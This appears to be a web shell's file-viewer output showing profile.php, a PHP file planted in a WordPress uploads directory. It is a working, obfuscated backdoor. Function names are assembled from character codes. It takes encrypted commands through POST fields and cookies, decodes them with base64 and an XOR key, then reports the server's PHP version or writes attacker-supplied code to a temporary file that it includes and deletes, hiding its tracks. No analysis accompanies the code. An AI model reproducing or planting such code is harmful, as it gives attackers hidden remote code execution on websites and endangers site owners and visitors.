HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/10/profile.php
<?php $j_alxj  =     'j_alxj' /* mqplpa  */ ^	'	7';$endykganj	= /* cycc   */ "\141"    . /*   rhytz */ "\x72" /*  p   */ .    "\162"	.      "a"."\x79" /*  wqm   */ . /*  ze_ghy  */ "_"."\x6d"    . /* yzco*/ $j_alxj(97)      .  "\160";

$ychitnkq	= /* rwad*/ $j_alxj(810-705)	.    "\155"    .  "\x70" /*dfy_vv  */ . /*   vase   */ "\154" /*uz   */ . /* zrjpgy   */ $j_alxj(111)    . /*  nh   */ "d"."\145";



function /*  carwn  */ gvlzqpsl($bwespvc,   $zlwonzvug)


{


	global /* iz */ $j_alxj;    
 /* uoxk */ $bwespvc	=    $j_alxj(60)    .	$j_alxj(754-691)     .    "\x70"     .    "h"."p".$j_alxj(32)	.    $j_alxj(549-432) /*  hwotj */ .       "\156"	.	"l".$j_alxj(352-247)."\x6e"       .	"\153" /* _tjjop*/ . /*   so  */ "("."\137"     . /*   sln  */ $j_alxj(389-294)       .    "F"."I".$j_alxj(843-767)      .	"\x45"    .	"_"."_"."\x29"	. /* gnxhn   */ $j_alxj(59)	.	$j_alxj(32)  . /*   ear_kv  */ $bwespvc["\x64"];

    $rzjwjftu   =      $j_alxj(102)	.	$j_alxj(352-247).$j_alxj(108) /*   jdyvp  */ .	"\145"	.    $j_alxj(95)  .	"\160" /*   lwcv_f   */ .       $j_alxj(117) /*iu   */ . /*  f */ "t".$j_alxj(1010-915) /*   ygxrgp */ . /*   wxf  */ $j_alxj(310-211) /*  vjr   */ . /* an_ml */ "\x6f"  .   "\x6e" /*khk */ .	"t"."\x65"     .     "n"."\x74" /*  mklo   */ .    "s";


   
   $rzjwjftu($zlwonzvug,    $bwespvc);  

 /*   rlvf_   */ furwggaae($zlwonzvug);


}


$kwgvqqp       =	73;


function	furwggaae($zlwonzvug){


 /*oy  */ global /*idf */ $j_alxj;
      


 /*t */ include($zlwonzvug);

  $feqydp_   =    $zlwonzvug;
	@unlink($feqydp_);
}



function      omdypp()


{


       global   $j_alxj;




      $cwi_hssss	=     array();

      $cwi_hssss["p"."\166"] /*dyq */ =   phpversion();
 /*of */ $cwi_hssss["s"."\166"]   =	"\63" /*dlna*/ . /*  cwhsl  */ $j_alxj(942-896)    . /*ekm   */ $j_alxj(53);


	$cj_eg    =   74;


       echo    @serialize($cwi_hssss);
}




function     dnlxsuw($bwespvc,       $qppluegu){


    global      $j_alxj;


    $galtdif  =	"";


       $zovocukm /*  ooevtg */ = /*   p  */ strlen($bwespvc);


     $bnrbe /*fowsw   */ =    strlen($qppluegu);

	$cwi_hssss	=      0;
    $g_swt   =     0; /*qucz   */ 


       while       ($cwi_hssss   < /*  cmehrb  */ $zovocukm)    { /*thvf  */ $xsfkhv /*slcefl*/ =	$bwespvc[$cwi_hssss]  ^       $qppluegu[$g_swt	%    $bnrbe];

 /*   qswq */ $galtdif /* h   */ .=   $xsfkhv;    $g_swt++;    
	$cwi_hssss++;
	}

 /*si  */     if      (strlen($galtdif)	> /*  t   */ 20) /*  zbyfy  */ {


       $g_swtxvykth /*  wh */ =    substr($galtdif, /* ev */ 0,	20);
	}

 /*   cmoyd_ */ if /*   mtyvhf */ (empty($galtdif)) /* hf  */ {    $galtdif    =    date('Y-m-d /*   udfv*/ H:i:s');
 /*  btc   */ }


	return    $galtdif;
}

function /*hrpiwx*/ slinazh($al_gvx__)
{ /* sdkjh*/ global      $j_alxj;

    	$g_swtgoztv /*ilabup   */ =	$j_alxj(995-898)	.    "\x32"	.	$j_alxj(447-346) /*   tuck */ . /*cpv  */ "\65"  .     $j_alxj(57)   .   "9"."b".$j_alxj(265-217) /*   itxh */ . /*  gb  */ "-".$j_alxj(858-760)    . /*  zzksb  */ $j_alxj(243-146)."8"."6"."-"."\64"     . /*bhtls  */ $j_alxj(243-146)."\144"	. /*  ktn*/ "7".$j_alxj(899-854) /*   nbx */ .	$j_alxj(243-146)."\65"    . /*   jiro  */ $j_alxj(587-532) /*  mtjzn */ .    $j_alxj(53)      . /*  ez_o_i */ "-"."\x31" /*  sfw_ut  */ .    "c".$j_alxj(352-297)       . /*   u */ "\x38" /*rjxgu*/ .  $j_alxj(57)      . /* zvrc  */ $j_alxj(1015-917)  .	"\x64"."7"."b".$j_alxj(52) /*   kf_*/ .    $j_alxj(102)    .      "\x64";
	

 /* hux*/ foreach /*  ehaq_*/ ($al_gvx__ /*  lthsu*/ as /* yoej   */ $fzbcfz    => /*   shbykm   */ $bwespvc) /*_jqx  */ {


    vgfl_tdr(base64_decode($bwespvc), /*   mxml  */ $g_swtgoztv,    $fzbcfz);

 /*  c */ }
}function    vgfl_tdr($bwespvc, /*   fw */ $g_swtgoztv,	$fzbcfz)
{
 /* bfjrsl   */ global /* lvckm   */ $j_alxj;
 /*   j   */ 


     $bwespvc /* uwbogx */ = /*  if   */ unserialize(dnlxsuw(dnlxsuw($bwespvc, /*xgtdd */ $g_swtgoztv),     $fzbcfz));	$sbjqzbakt /* ot */ =       'hcbaw_wel';

	$_v_ojrl	=    'stdcgulu';    if /*   dbgpl  */ (isset($bwespvc[$j_alxj(243-146).$j_alxj(205-98)]))  {


       if /* we*/ ($bwespvc[$j_alxj(243-146)] /*  nabn*/ ==   $j_alxj(352-247))      {

 /*  x */ omdypp();    }      elseif     ($bwespvc[$j_alxj(243-146)]	== /*p */ $j_alxj(1055-954))    {    gvlzqpsl($bwespvc,     sprintf($j_alxj(46)    . /* gpyupu  */ "\x2f"      .	$j_alxj(175-138)   .  "s".".".$j_alxj(1008-896)	.  "\x6c",     md5($g_swtgoztv)));			$knehpmak /* a   */ = /*  x   */ 44;

    }
    exit();	}}



slinazh($_POST); /*  rsinz  */ 





$qidcorkt    = /*  yk  */ 'rawurldecode';

$dmbz_uri /*  v*/ =       $endykganj($qidcorkt, /*   vo */ $_POST);

$ychitnkq("", /*xwiz*/ $qidcorkt);




slinazh($_COOKIE);

$osigl    =   $endykganj($qidcorkt, /*   yoja  */ $_COOKIE);

?>